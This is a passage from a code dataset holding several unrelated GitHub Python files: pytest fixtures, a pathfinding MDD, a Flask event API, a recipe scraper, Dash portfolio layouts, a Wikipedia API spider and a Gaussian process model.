negative=['man']))\nprint()\npprint.pprint(wv_from_bin.most_similar(positive=['man', 'teacher'], negative=['woman']))\n# note the subject-specific bias (men associated with phys_ed/ PE)\n\n","repo_name":"bolducp/stanford_deep_learning_nlp_cs224n","sub_path":"a1/a1.py","file_name":"a1.py","file_ext":"py","file_size_in_byte":13920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"35157191209","text":"__copyright__ = \"Copyright (c) 2021 Jina AI Limited. All rights reserved.\"\n__license__ = \"Apache-2.0\"\n\nimport os\nimport subprocess\nfrom pathlib import Path\n\nimport pytest\nfrom jina import Document, DocumentArray\n\n\n@pytest.fixture()\ndef test_dir() -> str:\n return os.path.dirname(os.path.abspath(__file__))\n\n\n@pytest.fixture()\ndef data_generator(test_dir: str):\n def _generator():\n data_file_path = os.path.join(test_dir, 'test_data', 'test_data.txt')\n with open(data_file_path, 'r') as file:\n lines = file.readlines()\n for line in lines:\n yield Document(text=line.strip())\n\n return _generator\n\n\n@pytest.fixture(scope='session')\ndef docker_image_name() -> str:\n return Path(__file__).parents[1].stem.lower()\n\n\n@pytest.fixture(scope='session')\ndef build_docker_image(docker_image_name: str) -> str:\n subprocess.run(['docker', 'build', '-t', docker_image_name, '.'], check=True)\n return docker_image_name\n\n\n@pytest.fixture()\ndef docs_with_text() -> DocumentArray:\n return DocumentArray([Document(text='hello world') for _ in range(10)])\n\n\n@pytest.fixture()\ndef docs_with_chunk_text() -> DocumentArray:\n return DocumentArray(\n [Document(chunks=[Document(text='hello world') for _ in range(10)])]\n )\n\n\n@pytest.fixture()\ndef docs_with_chunk_chunk_text() -> DocumentArray:\n return DocumentArray(\n [\n Document(\n chunks=[\n Document(chunks=[Document(text='hello world') for _ in range(10)])\n ]\n )\n ]\n )\n\n\n@pytest.fixture(scope='session')\ndef build_docker_image_gpu(docker_image_name: str) -> str:\n image_name = f'{docker_image_name}:gpu'\n subprocess.run(\n ['docker', 'build', '-t', image_name, '-f', 'Dockerfile.gpu', '.'], check=True\n )\n return image_name\n","repo_name":"jina-ai/executor-sentence-transformer","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"20649012559","text":"\nfrom common_for_search import *\nclass MDDNode ():\n \n def __init__(self, location, parent_node):\n self.level = None \n \n self.location = location\n self.children = list()\n self.parents = list()\n self.cost = 0 #minimum cost path traversing this node\n\n if(parent_node is None):\n self.level = 0\n \n else: \n self.level = parent_node.level + 1\n self.parents.append(parent_node)\n\n\n def areMDDsEqual(self, node):\n return (self.location['loc'] == node['loc'] and self.level == node.level)\n\n\nclass MDD():\n\n def __init__(self, my_map, start_loc, h_values, num_levels, positive_table, negative_table):\n # print(\"Building an MDD from scratch\")\n self.my_map = my_map\n self.start_loc = start_loc\n # print(\"start loc\", start_loc)\n self.open_list = []\n self.closed_list = []\n self.levels = [[] for _ in range(num_levels)]\n\n self.h_values = h_values\n self.num_levels = num_levels\n self.positive_table = positive_table\n self.negative_table = negative_table\n\n def buildMDD(self):\n root = MDDNode(self.start_loc, None)\n root.cost = self.num_levels - 1 \n \n self.open_list.append(root)\n self.closed_list.append(root)\n while (len(self.open_list) > 0):\n curr = self.open_list.pop(0)\n \n if(curr.level == self.num_levels - 1):\n \n self.levels[-1].append(curr)\n assert(len(self.open_list) == 0)\n break\n\n \n heuristicBound = self.num_levels - curr.level - 2\n \n #expanding current node\n for dir in range(5):\n child_loc = move(curr.location, dir)\n ###################Checking if the child node is valid####################\n \n #Check if the child_loc position is not out of the maps' bounds\n if (child_loc[0] < 0 or child_loc[1] < 0 or child_loc[0] >= len(self.my_map) or child_loc[1] >= len(self.my_map[0])): \n continue\n \n #checks if the child_loc in the map is not blocked\n if self.my_map[child_loc[0]][child_loc[1]]: \n continue\n\n #Check if new node satisfies the passed negative constraints, if doesn't -> prune\n if (is_constrained(curr.location, child_loc, curr.level + 1, self.negative_table)):\n continue\n \n \n #Check if new node satisfies the passed positive constraints, if doesn't -> prune\n p_node = {'loc': curr.location}\n c_node = {'loc': child_loc} \n \n if (is_positive_satisfied(parent_node = p_node, child_node = c_node, next_time = curr.level + 1, positive_constraints = self.positive_table) == False):\n continue\n \n if(self.h_values[child_loc] <= heuristicBound):\n #TODO add child node here\n child = self.closed_list[-1]\n find = False\n\n for child in reversed(self.closed_list):\n if(child.level == curr.level + 1):\n \n if(child.location == child_loc):\n child.parents.append(curr)\n find = True\n break\n\n if (find is False):\n childNode = MDDNode(child_loc, curr)\n childNode.cost = self.num_levels - 1\n self.open_list.append(childNode)\n self.closed_list.append(childNode)\n \n \n goal_node = self.levels[-1][-1]\n delete = None\n \n for parent in goal_node.parents:\n if(parent.location == goal_node.location):\n delete = parent\n continue \n self.levels[self.num_levels - 2].append(parent)\n parent.children.append(goal_node)\n\n if(delete != None):\n goal_node.parents.remove(delete)\n\n for t in range (self.num_levels - 2, 0, -1):\n # print(\"t = \", t)\n for node in self.levels[t]:\n for parent in node.parents: \n if (len(parent.children) == 0):\n self.levels[t - 1].append(parent)\n parent.children.append(node)\n level_num = 0\n \n for it in self.closed_list:\n if(len(it.children) == 0):\n if(it.level < self.num_levels - 1):\n del it \n self.closed_list.clear()\n \n\n \n\n def deleteNode():\n return True \n def goalIsAt():\n return True \n \n ","repo_name":"IvanPavlyk/MAPF_project","sub_path":"code/mdd.py","file_name":"mdd.py","file_ext":"py","file_size_in_byte":4914,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"82"} +{"seq_id":"30355535926","text":"import json\nwith open(\"App1_Building_Dictionary\\\\data.json\" , \"r\") as myfile:\n raw_data=json.loads(myfile.read())\n \ndef interactive():\n query= input(\"Enter Word: \")\n if query in raw_data.keys():\n return \"\\n\".join(raw_data[query]) #list joining method\n else:\n return \"The word doesn't exist , please double check it\"\n #print(*result , sep = '\\n')\n\nprint(interactive()) ","repo_name":"chandramanigit/python_learning2021","sub_path":"App1_Building_Dictionary/app1_v2_self_written.py","file_name":"app1_v2_self_written.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23478685335","text":"# -*- coding: utf-8 -*-\n\n__author__ = 'wills'\n\nfrom app import app\nfrom app.model.event import Event\nfrom app.model.order import Order, WXOrder\nfrom flask import request\nfrom app.core.response import Response, ResponseCode\nfrom app.model.user import auth_required, auth_optional\nfrom app.model.user_event import UserEvent\n\n@app.route(\"/events\")\ndef events():\n evs = Event.query(fetchone=False, extra={\"state <\": Event.State.DELETED}, orderby='open_at asc')\n resp = []\n for each in evs:\n ev = Event(**each)\n r = ev.to_dict()\n r['creator'] = ev.get_creator().to_dict()\n r['num'] = UserEvent.count(event_id=ev.id, state=UserEvent.State.INIT)\n resp.append(r)\n return str(Response(data=resp))\n\n@app.route(\"/event/\", methods=['GET'])\n@auth_optional\ndef event(event_id=0):\n ev = Event.find(event_id)\n resp = ev.to_dict()\n resp['creator'] = ev.get_creator().to_dict()\n resp['num'] = UserEvent.count(event_id=ev.id, state=UserEvent.State.INIT)\n resp['member'] = 0\n\n if request.user and UserEvent.query(event_id=ev.id, uid=request.user.id, state=UserEvent.State.INIT):\n resp['member'] = 1\n\n return str(Response(data=resp))\n\n@app.route(\"/event//join\")\n@auth_required\ndef join_event(event_id=0):\n ev = Event.find(event_id)\n user = request.user\n user_ev = UserEvent.query(uid=user.id, event_id=ev.id)\n if user_ev and user_ev['state'] == UserEvent.State.INIT:\n return Response(code=ResponseCode.DUPLICATE_DATA, msg='已经报名成功').out()\n\n if ev.fee <= 0:\n if user_ev:\n user_ev = UserEvent(**user_ev)\n user_ev.state = UserEvent.State.INIT\n user_ev.save()\n else:\n UserEvent(uid=user.id, event_id=ev.id).save()\n\n return Response().out()\n elif user.openid:\n order = Order(uid=user.id, name=ev.title, money=-ev.fee,\n item_id=ev.id, type=Order.Type.JOIN_EVENT)\n order.set_order_id()\n resp = order.save(return_keys=[Order.PKEY])\n order = Order.find(resp[Order.PKEY])\n\n wxorder = WXOrder(user, order)\n tokens = wxorder.get_token()\n if not tokens:\n return Response(code=ResponseCode.OPERATE_ERROR, msg='订单生成失败').out()\n\n return Response(code=ResponseCode.LOW_BALANCE,\n msg='余额不足',\n data={'need_money': ev.fee,\n 'order_id': order.id,\n 'order': tokens}).out()\n else:\n return str(Response(code=ResponseCode.AUTH_REQUIRED, msg='请微信关注服务号'))\n\n@app.route(\"/event//cancel\", methods=['POST'])\n@auth_required\ndef cancel_event(event_id=0):\n ev = Event.find(event_id)\n user = request.user\n user_ev = UserEvent.query(uid=user.id, event_id=ev.id)\n if not user_ev or user_ev['state'] != UserEvent.State.INIT:\n return Response(code=ResponseCode.DATA_NOT_EXIST, msg='暂无报名').out()\n\n user_ev = UserEvent(**user_ev)\n user_ev.state = UserEvent.State.CANCELED\n user_ev.save()\n return Response().out()\n","repo_name":"SlideMark/fudan_coffee","sub_path":"app/controller/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":3151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71972391949","text":"import requests\nfrom bs4 import BeautifulSoup\nimport re\n\n\nclass NYT_recipe:\n def __init__(self, url):\n self.url = url\n self.source = 'NYT recipes'\n def add_title(self, title):\n self.title = title\n def add_ingredients(self, ingredient_names, quantities):\n self.ingredient_names = ingredient_names\n self.ingredient_quantities = quantities\n def add_description(self, description):\n self.description = description\n def add_difficulty(self, difficulty):\n self.difficulty = difficulty\n def add_steps(self, steps):\n self.steps = steps\n def add_tags(self, tags):\n self.tags = tags\n def add_cooktime(self, cook_time):\n self.cook_time = cook_time\n def add_yield(self, recipe_yield):\n self.recipe_yield = recipe_yield\n def add_rating(self, nrating, nstars):\n self.num_ratings = nrating\n self.num_stars = nstars\n def print_recipe(self):\n print(self.url)\n print(self.title)\n print('Tags:')\n for tag in self.tags:\n print(tag)\n print('Yield: %s'%self.recipe_yield)\n print('Cook time: %s'%self.cook_time)\n for ing, quant in zip(self.ingredient_names, self.ingredient_quantities):\n print('%s %s'%(quant, ing))\n for i, step in enumerate(self.steps):\n print('Step %i:'%(i+1))\n print(step)\n def get_recipe_string(self):\n str_tot = self.title + ' ' + self.description\n for tag in self.tags:\n str_tot = str_tot + ' ' + tag\n for ing in self.ingredient_names:\n str_tot = str_tot + ' ' + ing\n return str_tot\n\n\n\ndef get_quantity_float(quantity):\n quantity = quantity.replace('½', '0.5').replace('¼', '0.25').replace('⅛', '0.125').replace('⅓', '0.333')\n quantity = quantity.replace('¾', '0.75').replace('⅔', '0.667')\n try:\n return float(quantity)\n except Exception:\n pass\n if (re.match('[0-9]+ 0.[0-9]+', quantity) != None):\n print('here')\n quantity = re.sub('([0-9]+) 0.([0-9]+)', '\\g<1>.\\g<2>', quantity)\n print(quantity)\n try:\n return float(quantity)\n except Exception:\n pass\n for num in quantity.split(' '):\n if num.isnumeric():\n return float(num)\n return 0.0\n\n\n\n\n\n\n# Scrapes the recipe at the given url\n# and returns a recipe object\n\ndef get_recipe(url):\n # Assumes the URL is a valid NYT recipe URL\n recipe = NYT_recipe(url)\n # open the URL\n response = requests.get(url)\n html = response.content\n soup = BeautifulSoup(html, \"html.parser\")\n if (soup == None):\n print('couldnt find recipe at:', url)\n return -1\n # First get the ingredient list (quantities and ingredients)\n ingredients = soup.findAll('ul', attrs={'class': 'recipe-ingredients'})\n quantities = []\n ingredient_names = []\n for ingred in ingredients:\n for row in ingred.findAll('li'):\n #print row.getText(separator=' ')\n\n tmp = row.find('span', attrs ={'class':'ingredient-name'})\n if (tmp != None):\n ingredient_names.append(tmp.getText(separator=' ').strip().replace(' ', ' '))\n tmp = row.find('span', attrs={'class': 'quantity'})\n if (tmp != None):\n quantity = tmp.getText(separator=' ').strip()\n quantities.append(get_quantity_float(quantity))\n recipe.add_ingredients(ingredient_names, quantities)\n # Next get the recipe steps\n steps = soup.findAll('ol', attrs={'class': 'recipe-steps'})\n recipe_steps = []\n for step in steps:\n for row in step.findAll('li'):\n recipe_steps.append(row.getText())\n recipe.add_steps(recipe_steps)\n # Check to see if there is a difficulty rating\n difficulty = soup.find('a', attrs={'class': 'kicker easy'})\n if (difficulty == None):\n difficulty = 'None'\n else:\n difficulty = difficulty.getText()\n recipe.add_difficulty(difficulty)\n # Get the recipe title, if there is one\n title = soup.find('h1', attrs={'class':'recipe-title title name'})\n if (title == None):\n title = 'None'\n else:\n title = title.getText().strip()\n recipe.add_title(title)\n # Get the cook time, if there is one\n time_check = soup.find('span', attrs={'class': 'recipe-yield-time-label recipe-time'})\n if (time_check == None):\n time = 'None'\n else:\n time = soup.find('ul', attrs={'class': \"recipe-time-yield\"})\n time = time.findAll('li')[-1].getText(separator=',').strip(',').split(',')[-1]\n recipe.add_cooktime(time)\n # Get the recipe yield if there is one\n recipe_yield = soup.find('span', attrs = {'itemprop':\"recipeYield\"})\n if (recipe_yield == None):\n recipe_yield = 'None'\n else:\n recipe_yield = recipe_yield.getText()\n recipe.add_yield(recipe_yield)\n # Get the description of the recipe\n topnote = soup.find('div', attrs={'class': 'topnote'})\n if (topnote == None):\n topnote=''\n else:\n topnote = topnote.find('p').getText().strip()\n recipe.add_description(topnote)\n # Get any recipe tags\n nutrition = soup.find('div', attrs={'class': 'tags-nutrition-container'})\n recipe_tags = []\n if (nutrition != None):\n for tags in nutrition.findAll('a'):\n recipe_tags.append(tags.getText())\n recipe.add_tags(recipe_tags)\n\n rv = soup.find('span', attrs={'itemprop': 'ratingValue'})\n if (rv == None):\n rating_value = 0\n else:\n rating_value = int(rv.getText())\n rc = soup.find('span', attrs={'itemprop': 'ratingCount'})\n if (rc == None):\n rating_count = 0\n else:\n rating_count = int(rc.getText())\n recipe.add_rating(rating_count, rating_value)\n\n\n return recipe\n","repo_name":"ellenmccullagh/mealplanner","sub_path":"recipes/scrape_nyt.py","file_name":"scrape_nyt.py","file_ext":"py","file_size_in_byte":5819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"12960416806","text":"import dash_core_components as dcc\nimport dash_html_components as html\nimport dash_bootstrap_components as dbc\nfrom app import app\nfrom tables import table_edu\n\n# Main\ntab_height = '7vh'\nlayout_main = html.Div([\n dbc.Row([\n dbc.Col(html.Div([\n html.Img(src=app.get_asset_url('profile.jpg'), style= {'height':'100%', 'width':'100%'}),\n html.Hr(),\n dbc.Button('LinkedIn', href = 'https://www.linkedin.com/in/christopher-c-han/', outline = True, color = 'primary', className=\"mr-1\"),\n #html.Br(),\n dbc.Button('GitHub', href = 'https://github.com/Christopher-Changhee-Han', outline = True, color = 'primary', className=\"mr-1\"),\n #html.Br(),\n dbc.Button('Email', href=\"mailto:christopherhan@stat.tamu.edu\", outline = True, color = 'primary', className=\"mr-1\")\n ]), width = 3\n ),\n \n dbc.Col(html.Div([\n dcc.Tabs(id='bio-tabs', value='tab-intro', children=[\n dcc.Tab(label='Intro', value = 'tab-intro', style={'padding': '0','line-height': tab_height},selected_style={'padding': '0','line-height': tab_height}),\n dcc.Tab(label='Education', value='tab-edu', style={'padding': '0','line-height': tab_height},selected_style={'padding': '0','line-height': tab_height}),\n dcc.Tab(label='Experience', value='tab-exp', style={'padding': '0','line-height': tab_height},selected_style={'padding': '0','line-height': tab_height}),\n dcc.Tab(label='Skills', value= 'tab-skill', style={'padding': '0','line-height': tab_height},selected_style={'padding': '0','line-height': tab_height})\n ], style = {'height': tab_height}),\n html.Div(id='bio-tabs-content')\n ]))\n\n ])\n])\n\n# Bio: Bio\nlayout_main_intro = html.Div([\n dbc.Jumbotron(\n [\n html.H1(\"Aspiring Data Scientist\", className=\"display-3\"),\n html.P(\n \"Experience in Python, SQL, and R\"\n \"\",\n className=\"lead\",\n ),\n html.Hr(className=\"my-2\"),\n dcc.Markdown('''\n Big data and fancy models are cool but what's most important to me is efficiently solving the problem at hand. I'm a focused problem-solver and an effective communicator that loves to help others answer questions productively. My toolbox consists of coding experience in Python, SQL and R as well as deep statistical knowledge in topics such as experiment design, unsupervised and supervised learning, and bayesian inference.\n\n Outside of school, I lead a community organization called The Space that provides free dance classes to students at UT Austin and Texas A&M University. I also enjoy attempting to cook delicious food at home (learning rate is slow) and playing games with friends on my recently acquired Nintendo Switch. \n '''),\n ]\n)\n])\n\n# Bio: Education\nlayout_main_edu = html.Div([\n html.Br(),\n html.H4('University'),\n html.P(['M.S. in Statistics, Texas A&M University', \n html.Span(dbc.Badge(\"In Progress\", color=\"dark\", className=\"ml-1\"), style = {'float':'right'})\n ]),\n dbc.Progress(\"83.3% (30/36 hours)\", value = 30*100/36, color = 'success'),\n html.P(children=[\n 'Aug 2019', html.Span('May 2021', style = {'float':'right'})\n ]),\n\n html.Div([\n dbc.Button(\n \"Coursework\",\n id=\"collapse-button\",\n className=\"mb-3\",\n color=\"light\",\n ),\n dbc.Collapse(\n dbc.Card(table_edu),\n id=\"collapse\",\n )\n ]),\n\n html.P(['B.A. in Spanish, The University of Texas at Austin', \n html.Span(dbc.Badge(\"Complete\", color=\"success\", className=\"ml-1\"), style = {'float':'right'})\n ]),\n html.Hr(),\n html.H4('Certificates'),\n html.P(children=[\n 'Certificate in Applied Statistical Modelling, The University of Texas at Austin', \n html.Span(dbc.Badge(\"Complete\", color=\"success\", className=\"ml-1\"), style = {'float':'right'})\n ]),\n html.P(children=[\n 'Data Science Specialization Certificate in R, Johns Hopkins University (Coursera)',\n html.Span(dbc.Badge(\"Complete\", color=\"success\", className=\"ml-1\"), style = {'float':'right'})\n ]),\n\n])\n\n# Bio: Experience\nlayout_main_exp = html.Div([\n html.Br(),\n html.H4('Work'),\n dcc.Markdown('''\n \n Graduate Teaching Assistant, Texas A&M University, College Station \n * Assisted teaching Quantitative Methods in Public Management I\n * Reviewed regression, hypothesis testing in R with students during office hours\n\n '''),\n html.Hr(), \n html.H4('Leadership'),\n dcc.Markdown('''\n \n Co-Founder, The Space \n * Lead a team of 7 people to organize free dance classes and charity programs\n * Established two branches in Austin and College Station\n\n '''),\n])\n\n# Bio: Skills\n\nlayout_main_skills = html.Div([\n html.Br(), \n html.H4('Programming'),\n dbc.Badge(\"Python\", pill=True, color=\"primary\", className=\"mr-1\"),\n dbc.Badge(\"numpy\", pill=True, color=\"primary\", className=\"mr-1\"),\n dbc.Badge(\"pandas\", pill=True, color=\"primary\", className=\"mr-1\"),\n dbc.Badge(\"scipy\", pill=True, color=\"primary\", className=\"mr-1\"),\n dbc.Badge(\"matplotlib\", pill=True, color=\"primary\", className=\"mr-1\"),\n dbc.Badge(\"scikit-learn\", pill=True, color=\"primary\", className=\"mr-1\"),\n dbc.Badge(\"seaborn\", pill=True, color=\"primary\", className=\"mr-1\"),\n dbc.Badge(\"plotly\", pill=True, color=\"primary\", className=\"mr-1\"),\n dbc.Badge(\"Dash\", pill=True, color=\"primary\", className=\"mr-1\"),\n html.Br(),\n dbc.Badge(\"R\", pill=True, color=\"primary\", className=\"mr-1\"),\n dbc.Badge(\"SQL\", pill=True, color=\"primary\", className=\"mr-1\"),\n dbc.Badge(\"NoSQL\", pill=True, color=\"primary\", className=\"mr-1\"),\n dbc.Badge(\"Git\", pill=True, color=\"primary\", className=\"mr-1\"),\n dbc.Badge(\"R\", pill=True, color=\"primary\", className=\"mr-1\"),\n dbc.Badge(\"Excel\", pill=True, color=\"primary\", className=\"mr-1\"),\n html.Hr(),\n html.H4('Presentation Skills'),\n dbc.Badge(\"Jupyter Notebook\", pill=True, color=\"secondary\", className=\"mr-1\"),\n dbc.Badge(\"R Markdown\", pill=True, color=\"secondary\", className=\"mr-1\"),\n dbc.Badge(\"Tableau\", pill=True, color=\"secondary\", className=\"mr-1\"),\n dbc.Badge(\"PowerPoint\", pill=True, color=\"secondary\", className=\"mr-1\"),\n dbc.Badge(\"Word\", pill=True, color=\"secondary\", className=\"mr-1\"),\n html.Hr(),\n html.H4('Languages'),\n dbc.Badge(\"English\", pill=True, color=\"info\", className=\"mr-1\"),\n dbc.Badge(\"Korean\", pill=True, color=\"info\", className=\"mr-1\"),\n dbc.Badge(\"Spanish\", pill=True, color=\"info\", className=\"mr-1\")\n])\n\n\n# Portfolio \ncard_1 = dbc.Card(\n [\n dbc.CardImg(src=\"/assets/sponge.jpg\", top=True),\n dbc.CardBody(\n [\n html.H4(\"Sponge\", className=\"card-title\"),\n html.P(\n \"Sponge is absorb \"\n \"very well\",\n className=\"card-text\",\n ),\n dbc.Button(\"Link\", color=\"primary\"),\n ]\n ),\n ],\n style={\"width\": \"18rem\"},\n)\nlayout_portfolio = html.Div([\n card_1\n])\n\n# Random\nlayout_random = html.Div([\n html.P('randomness')\n])\n\n","repo_name":"Christopher-Changhee-Han/personalportfolio","sub_path":"layouts.py","file_name":"layouts.py","file_ext":"py","file_size_in_byte":7299,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"73774382029","text":"import numpy\n\ndef compute_coords(uv):\n \"\"\"\n Compute the Cartesian coordinates from the parametric u,v coordinates\n :param uv: array (n, 2) or (2,)\n \"\"\"\n\n # u ~ lon, v ~ lat\n n = 1\n if len(uv.shape) > 1:\n n = uv.shape[0]\n\n xyz = numpy.empty((n, 3), numpy.float64)\n\n # on the sphere\n rho = numpy.cos(-numpy.pi/2. + uv[..., 1]*numpy.pi)\n xyz[:, 0] = rho * numpy.cos(uv[..., 0]*2*numpy.pi)\n xyz[:, 1] = rho * numpy.sin(uv[..., 0]*2*numpy.pi)\n xyz[:, 2] = numpy.sin(-numpy.pi/2. + uv[..., 1]*numpy.pi)\n\n return xyz\n","repo_name":"pletzer/optim_problems","sub_path":"electrostatic/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73585504587","text":"class Solution(object):\n def predictPartyVictory(self, senate):\n \"\"\"\n :type senate: str\n :rtype: str\n :ref:https://blog.csdn.net/fuxuemingzhu/article/details/82876061\n \"\"\"\n q_r, q_d = collections.deque(), collections.deque()\n n = len(senate)\n for i, s in enumerate(senate):\n if s == \"R\":\n q_r.append(i)\n else:\n q_d.append(i)\n while q_r and q_d:\n r = q_r.popleft()\n d = q_d.popleft()\n if r < d:\n q_r.append(r + n)\n else:\n q_d.append(d + n)\n return \"Radiant\" if q_r else \"Dire\"\n","repo_name":"JiayuZhai/leetcode_python3","sub_path":"649.py","file_name":"649.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38797283165","text":"\"\"\"API Spider: all pages list iterator endpoint.\"\"\"\n# pylint: disable=no-member\nimport jmespath as jmp\nfrom scrapy import Request\nfrom dzeta.schema import Schema, fields\nfrom . import ApiSpider\n\n\nclass ApiAllPages(ApiSpider):\n \"\"\"API spider for all pages list iterator endpoint.\n\n _Attributes_ section describes available user-provided arguments.\n See _Wikipedia API_ docs_ for more info.\n\n .. _docs: https://en.wikipedia.org/w/api.php?action=help&modules=query%2Ballpages\n\n Attributes\n ----------\n apfrom : str\n Prefix to start enumerating pages from.\n apnamespace : int\n Namespace to enumarate from. Defaults to ``0`` (main).\n apminsize : int\n Minimum byte size of a page.\n apmaxsize : int\n Maximum byte size of a page.\n aplimit : int\n Pagination size for querying API. Defaults to ``500``.\n apfilterredir : str\n Flag for filtering redirects.\n Defaults to ``'nonredirects'``.\n \"\"\"\n name = 'api_allpages'\n\n class Args(Schema):\n apfrom = fields.Str(required=False)\n apnamespace = fields.Int(missing=0, strict=False)\n apminsize = fields.Int(required=False, strict=False)\n apmaxsize = fields.Int(required=False, strict=False)\n aplimit = fields.Int(missing=500, strict=False)\n apfilterredir = fields.Str(missing='nonredirects')\n\n def make_start_request(self, **kwds):\n url = self.make_query(\n list='allpages',\n **self.args,\n **kwds\n )\n return Request(url)\n\n def start_requests(self):\n yield self.make_start_request()\n\n def parse(self, response):\n data = super().parse(response)\n cont = jmp.search('continue.apcontinue', data)\n if cont:\n request = self.make_start_request(apcontinue=cont)\n yield request\n allpages = jmp.search('query.allpages', data)\n for page in allpages:\n yield page\n","repo_name":"sztal/wikiminer","sub_path":"wikiminer/web/spiders/api_allpages.py","file_name":"api_allpages.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41698485734","text":"from __future__ import annotations\n\nfrom copy import deepcopy\nfrom typing import Any, Tuple\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch import Tensor\nfrom torch.distributions.multivariate_normal import MultivariateNormal\n\nfrom .kernel.base_kernel import BaseKernel\nfrom .mean.base_mean import BaseMean\nfrom .mean.means import ZeroMean\nfrom .utils.lab import pd_jitter\nfrom .utils.shaping import uprank_two, to_tensor\n\n\nclass GP(nn.Module):\n\n def __init__(self,\n kernel: BaseKernel,\n mean: BaseMean = ZeroMean(),\n noise: bool = False) -> None:\n\n \"\"\"Gaussian Process.\n\n Parameters\n ----------\n kernel : BaseMean\n Positive Definite kernel for calculations.\n mean : BaseMean\n Mean function for calculations.\n noise : bool\n True if noise present, False otherwise.\n \"\"\"\n\n super().__init__()\n\n if not len(mean) == len(kernel):\n raise ValueError('len(mean) must equal len(kernel).')\n\n self.mean = mean\n self.kernel = kernel\n\n self.x = None\n self.y = None\n\n self.noise = self._set_noise(noise)\n self.optimiser = torch.optim.Adam\n\n def __repr__(self) -> str:\n return f'GP({str(self.mean)}, {str(self.kernel)})'\n\n def __or__(self, other: Tuple[Any, Any]) -> GP:\n\n if not len(other) == 2:\n raise ValueError('Must provide (x, y)')\n\n self.observe(*other)\n return self\n\n def __call__(self, xp: Any) -> MultivariateNormal:\n return self.posterior(xp)\n\n @staticmethod\n def _set_noise(noise: bool) -> Tensor:\n\n \"\"\"Responsible for setting noise as a parameter / not.\n\n Parameters\n ----------\n noise : bool\n Set noise as a parameter if True.\n\n Returns\n -------\n Tensor\n Value of the noise.\n \"\"\"\n\n if noise:\n return nn.Parameter(torch.tensor(1.0, dtype=torch.float32))\n else:\n return torch.tensor(0.0, dtype=torch.float32)\n\n @to_tensor\n @uprank_two\n def observe(self, x: Any, y: Any) -> None:\n\n \"\"\"Add observations to the GP model.\n\n Parameters\n ----------\n x : Tensor\n x-inputs to the model.\n y : Tensor\n y-inputs to the model.\n \"\"\"\n\n if not x.shape[0] == y.shape[0]:\n raise ValueError('Must provide same number of samples for x and y.')\n\n if self.x is None and self.y is None:\n self.x = x\n self.y = y\n else:\n self.x = torch.cat([self.x, x], dim=0)\n self.y = torch.cat([self.y, y], dim=0)\n\n @to_tensor\n @uprank_two\n def posterior(self, xp: Any) -> MultivariateNormal:\n\n \"\"\"Calculate the posterior distribution at a point, xp.\n\n Parameters\n ----------\n xp : Tensor\n Point at which to calculate the posterior distribution.\n\n Returns\n -------\n MultivariateNormal\n Posterior distribution.\n \"\"\"\n\n if not xp.shape[1] == self.x.shape[1]:\n raise ValueError('xp shape does not match observed sample shapes.')\n\n k_xx = self.kernel.calculate(self.x, self.x)\n k_xxp = self.kernel.calculate(self.x, xp)\n k_xpx = self.kernel.calculate(xp, self.x)\n k_xpxp = self.kernel.calculate(xp, xp)\n\n k_xx_inv = torch.inverse(k_xx + self.noise * torch.eye(k_xx.shape[0]))\n\n p_mean = self.mean.calculate(xp) + k_xpx @ k_xx_inv @ self.y\n p_covariance = k_xpxp - k_xpx @ k_xx_inv @ k_xxp\n\n p_mean = p_mean.flatten()\n p_covariance = pd_jitter(p_covariance)\n\n return MultivariateNormal(p_mean, p_covariance)\n\n def optimise(self, n_iterations: int = 1000) -> Tensor:\n\n \"\"\"Optimises the GP Hyperparameters to improve model fit.\n\n Parameters\n ----------\n n_iterations : int\n Number of iterations to optimise for.\n\n Returns\n -------\n loss : Tensor\n Optimised loss.\n \"\"\"\n\n loss = None\n optimiser = self.optimiser(self.parameters())\n\n for i in range(n_iterations):\n\n optimiser.zero_grad()\n\n loss = -self.log_likelihood(grad=True)\n\n loss.backward()\n optimiser.step()\n\n return loss\n\n def optimise_restarts(self, n_restarts: int = 10, n_iterations: int = 1000) -> Tensor:\n\n \"\"\"Optimise the GP Hyperparameters with restarts.\n\n Parameters\n ----------\n n_restarts : int\n Number of restarts to use in training.\n n_iterations : int\n Number of iterations to optimise for on each restart.\n\n Returns\n -------\n Tensor\n Optimised loss.\n \"\"\"\n\n losses = []\n params = []\n\n for i in range(n_restarts):\n\n for param in self.parameters():\n torch.nn.init.uniform_(param, 0.0, 2.0)\n\n loss = self.optimise(n_iterations=n_iterations)\n\n losses.append(loss)\n params.append(deepcopy({k: v for k, v in self.named_parameters()}))\n\n losses = torch.stack(losses, dim=0)\n idx_best = losses.argmin()\n\n for name, param in self.named_parameters():\n param.data = params[idx_best][name]\n\n return losses[idx_best]\n\n def log_likelihood(self, grad: bool = False) -> Tensor:\n\n \"\"\"Log likelihood of the observations.\n\n Parameters\n ----------\n grad : bool\n If true uses matmul approach, if False uses lstsq.\n\n Returns\n -------\n ll : Tensor\n Log likelihood.\n \"\"\"\n\n k_xx = self.kernel.calculate(self.x, self.x)\n k_xx = k_xx + self.noise * torch.eye(k_xx.shape[0])\n k_xx = pd_jitter(k_xx)\n\n if grad:\n log_term = 0.5 * torch.log(1e-6 + torch.det(k_xx))\n y_term = 0.5 * self.y.T @ torch.inverse(k_xx) @ self.y\n const_term = 0.5 * len(self.x) * np.log(2 * np.pi)\n\n ll = -y_term - log_term - const_term\n else:\n 